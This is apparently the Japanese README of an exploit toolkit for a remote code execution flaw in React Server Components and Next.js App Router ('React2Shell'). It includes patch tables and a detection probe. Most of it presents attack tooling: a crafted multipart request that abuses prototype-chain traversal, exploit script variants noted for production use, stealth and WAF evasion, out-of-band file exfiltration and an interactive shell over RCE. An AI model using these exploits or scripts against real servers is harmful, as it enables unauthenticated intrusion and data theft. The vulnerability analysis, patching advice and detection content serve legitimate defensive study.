
React Server ComponentsのCVE-2025-55182およびCVE-2025-66478用のRCEエクスプロイトツールキット。複数のエクスプロイトバリアント、検出スクリプト、脆弱なテストサーバー、Flightプロトコル逆シリアル化脆弱性の詳細な技術分析を含む。
CVE-2025-55182(React)および CVE-2025-66478(Next.js)
このリポジトリには、許可されたセキュリティテストおよび教育目的専用のエクスプロイトコードが含まれています。
関連情報: 複数の研究者がこの脆弱性の分析を公開しています。追加の視点、エクスプロイト手法、検出方法については、References セクションを確認してください。
2025年12月3日(水)、React Server Components における深刻なリモートコード実行(RCE)の脆弱性が公開されました。「React2Shell」と名付けられたこのバグは、認証されていない攻撃者が、脆弱なバージョンの React RSC または Next.js App Router を実行している任意のサーバー上で、単一の HTTP リクエストを送信するだけで任意のコードを実行できるようにするものです。
Next.js がこれほど普及している(現代のウェブの大部分を支えている)ことを考えると、この脆弱性の影響は深刻です。App Router(Next.js 13 以降の新規プロジェクトのデフォルト)を使用し、RSC を有効にしている Next.js アプリケーションはすべて脆弱です。特別な設定は不要です。特定のエンドポイントも不要です。任意のルートへの POST リクエストだけで十分です。
この脆弱性は、React Server Components でサーバーとクライアント間のデータ受け渡しに使用されるシリアライズ形式である React の「Flight」プロトコルに存在します。デシリアライズ時の hasOwnProperty チェックの欠如により、プロトタイプチェーンの走査が可能になり、最終的に JavaScript の Function コンストラクタに到達して攻撃者が制御するコードを実行できます。
この欠陥は、React の react-server-dom-webpack、react-server-dom-turbopack、react-server-dom-parcel パッケージに存在します。RSC の主要な利用者である Next.js は、App Router を通じてこの脆弱性の影響を受けます。
多くのサービスが潜在的に脆弱です。Next.js は最も人気のある React フレームワークの1つであり、スタートアップからエンタープライズまであらゆる規模の企業で使用されています。React Server Components を備えた App Router はバージョン 13 以降、新しい Next.js プロジェクトのデフォルトアーキテクチャとなっているため、最新の Next.js デプロイメントのほとんどが影響を受けます。
以下を使用するすべてのアプリケーション:
react-server-dom-* パッケージ(19.0.0 〜 19.2.0)を使用する React Server Componentsこれには、Vercel、AWS、セルフホスト型インフラストラクチャ、および Next.js App Router アプリケーションが実行されるその他すべての環境での本番デプロイメントが含まれます。
影響を受けないもの:
process.mainModule が利用不可)| Package | Vulnerable | Patched |
|---|---|---|
react-server-dom-webpack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
react-server-dom-turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
react-server-dom-parcel | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
| Version Line | Vulnerable | Patched |
|---|---|---|
| 15.0.x | < 15.0.5 | 15.0.5+ |
| 15.1.x | < 15.1.9 | 15.1.9+ |
| 15.2.x | < 15.2.6 | 15.2.6+ |
| 15.3.x | < 15.3.6 | 15.3.6+ |
| 15.4.x | < 15.4.8 | 15.4.8+ |
| 15.5.x | < 15.5.7 | 15.5.7+ |
| 16.0.x | < 16.0.7 | 16.0.7+ |
直ちにアップグレードしてください。 回避策はありません。
Next.js アプリケーションの場合:
npm install next@latest
# or
pnpm update next
React RSC を直接使用する場合:
npm install react-server-dom-webpack@latest
インストールされているバージョンを確認する:
npm ls next react-server-dom-webpack react-server-dom-turbopack
この脆弱性には複数の攻撃ベクトルが発見されています。最も一般的なもの(そして前提条件なしで動作するもの)は、React の Flight プロトコル参照システムを悪用したプロトタイプ汚染です。
このエクスプロイトは、Next-Action ヘッダーを付けた巧妙に細工された multipart POST リクエストを送信します。ペイロードは参照システムを悪用して以下を実行します:
$1:__proto__:then を介してプロトタイプチェーンを走査するFunction コンストラクタを呼び出させるPOST / HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary
Next-Action: x
------Boundary
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","value":"{...}","_response":{...}}
------Boundary
Content-Disposition: form-data; name="1"
"$@0"
------Boundary--
コードはデシリアライズ中、アクション ID の検証が行われる前に実行されます。つまり、任意の Next-Action ヘッダー値が脆弱なコードパスをトリガーします。有効なアクション ID は不要です。
その他の攻撃ベクトル も存在します。
$F関数参照や直接的なモジュールガジェットなどです。これらは通常、有効なアクション ID を必要とします。詳細については Alternative Attack Vectors を参照してください。
React の Flight プロトコルは、$1:path:to:value のような参照をコロンで分割し、オブジェクトを走査して解決します:
// ReactFlightReplyServer.js - getOutlinedModel()
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // No hasOwnProperty check!
}
皮肉なことに: このファイルの先頭、35行目に:
import hasOwnProperty from 'shared/hasOwnProperty';ガードはインポートされていました。利用可能でした。ただ、それが最も重要となるループで使用されていなかっただけです。
この単一のチェックの欠如により、$1:__proto__:then が chunk オブジェクトからプロトタイプチェーンを上って Chunk.prototype.then に到達できます。これは Promise のようなオブジェクトを処理する関数です。適切なプロパティを持つ偽の chunk を細工することで、実行されるコードを制御できます。
脆弱なテストサーバーをクローン:
git clone https://github.com/freeqaz/react2shell
cd react2shell/vulnerable-next-server
pnpm install
pnpm dev
別のターミナルで:
./detect.sh http://localhost:3443
脆弱なサーバーは、レスポンスボディに E{"digest" を含む HTTP 500 を返します。RCE を実証するには:
./exploit-redirect.sh http://localhost:3443 "id"
コマンドの出力がレスポンスに表示されます。対話的な探索には:
./shell.sh http://localhost:3443
vulnerable-next-server/ ディレクトリには、安全なローカルテスト用に事前設定された Next.js 16.0.6 + React 19.2.0 アプリケーションが含まれています。デフォルトではポート 3443 で実行されます。これは、デフォルト設定が脆弱であることを示す最小限の App Router セットアップです。
さまざまなシナリオに対応するため、複数のエクスプロイトバリアントを開発しました:
| Script | HTTP | Output | Production | Notes |
|---|---|---|---|---|
exploit-redirect.sh | 303 | x-action-redirect header | Yes | 推奨。 前提条件なし。 |
exploit-throw.sh | 500 | Error response body | No | 開発モードのみ(本番ではエラーがサニタイズされる)。 |
exploit-blind.sh | 200 | Server-side only | Yes | ファイア・アンド・フォーゲット。OOB 流出に使用。 |
exploit-urlencoded.sh | 303 | x-action-redirect header | Yes | 異なる WAF シグネチャ。アクション ID が必要。 |
exploit-reflect.sh | 200 | Response body | Yes | 最もステルス性が高い。アクション ID が必要。 |
本番環境に関する注意: React は本番ビルドでエラーメッセージを削除するため、
throwメソッドは機能しません。前提条件なしで本番環境のコマンド出力を確実に取得できるのはexploit-redirect.shのみです。リダイレクト URL はエラーのdigestプロパティ(メタデータ)に保存されます。これはサニタイズされません。一方、messageは{digest: "..."}のみになります。
ユーティリティスクリプト:
detect.sh - 非破壊的な脆弱性プローブ(コード実行なし)enumerate-actions.sh - ターゲット HTML から有効な Server Action ID を発見exfil-file.sh - チャンク形式のファイル流出(大きなファイルを自動処理)shell.sh - RCE 上の対話型擬似シェルリダイレクト方式は、本番環境で動作し、前提条件が不要で、コマンド出力を直接返すため推奨されます。これは、特別に細工された NEXT_REDIRECT エラーをスローすることで機能します。出力は base64 エンコードされてリダイレクト URL に格納され、x-action-redirect ヘッダーで返されます。
各スクリプトの詳細な使用方法については、USAGE.md を参照してください。
./detect.sh https://target.com
これは、任意のコードを実行せずに脆弱なコードパスをトリガーする最小限のプローブを送信します。
脆弱なサーバーのレスポンス:
text/x-componentE{"digest"パッチ適用済みまたは非 RSC サーバー: 404、異なるエラーフォーマット、または Flight プロトコルレスポンスなしを返します。
curl -s -o /dev/null -w "%{http_code}" -X POST https://target.com \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----Boundary" \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n["$1:a:a"]\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n{}\r\n------Boundary--'
このプローブは、空のオブジェクト上の存在しないプロパティを参照します。脆弱なサーバーは {}.a.a へのアクセスでクラッシュし、500 を返します。パッチ適用済みサーバーにはクラッシュを防ぐ hasOwnProperty ガードがあります。
以下の指標を探します:
0:、1: など)を含む <script> タグx-nextjs-cache または x-nextjs-matched-path ヘッダー/_next/ 静的アセットパス$ACTION_ID_ パターン次の図は、単一の HTTP リクエストがどのようにリモートコード実行を達成するかを示しています:
sequenceDiagram
participant A as Attacker
participant N as Next.js
participant F as Flight Parser
participant JS as JS Engine
A->>N: POST with Next-Action header + malicious payload
N->>F: Parse multipart form data
F->>JS: await getRoot - returns chunk as thenable